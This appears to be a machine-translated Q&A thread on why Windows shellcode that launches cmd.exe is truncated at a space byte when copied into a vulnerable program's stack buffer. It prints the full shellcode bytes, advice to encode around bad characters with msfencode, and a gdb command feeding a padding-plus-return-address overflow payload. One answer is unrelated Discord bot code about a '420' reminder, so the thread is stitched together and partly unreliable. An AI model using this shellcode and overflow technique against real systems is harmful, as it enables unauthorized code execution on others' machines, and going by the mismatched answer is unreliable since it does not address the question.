为什么我的shellcode在\x20
操作码之后被截断,当它被字符串复制到第二个易受攻击程序的堆栈上时?
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
答案 0 :(得分:1)
您是否将此shellcode作为命令行参数传递?在这种情况下,请查看0x20的ASCII代码;)
答案 1 :(得分:0)
我的理论是,诸如quote,space,null之类的东西正在被windows shell解释而不是被发送出去。你可以以某种方式逃避它,但我认为只编码shellcode更容易。因此,尝试使用metasploit的msfencode实用程序来完全避免这些操作码。我知道null(/ x00),space(/ x20)和quote(/ x22)不能直接传递,但我想还有其他的操作码也不能传递。
这是我的解决方案,但有没有人知道其他更好的?
答案 2 :(得分:0)
在整个命令周围加上双引号。 例如,运行:
"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
答案 3 :(得分:0)
@tasks.loop(seconds = 5.0)
async def remind420(self):
print("YES")
print(datetime.now().strftime("%H:%M"))
if datetime.now().strftime("%H:%M") == "16:55" or datetime.now().strftime("%H:%M") == "04:20":
await client.get_channel(499245707081940995).send("420!!")
@remind420.before_loop
async def remind420_before():
await client.wait_until_ready()
remind420.start()
类似于\x20
的ASCII格式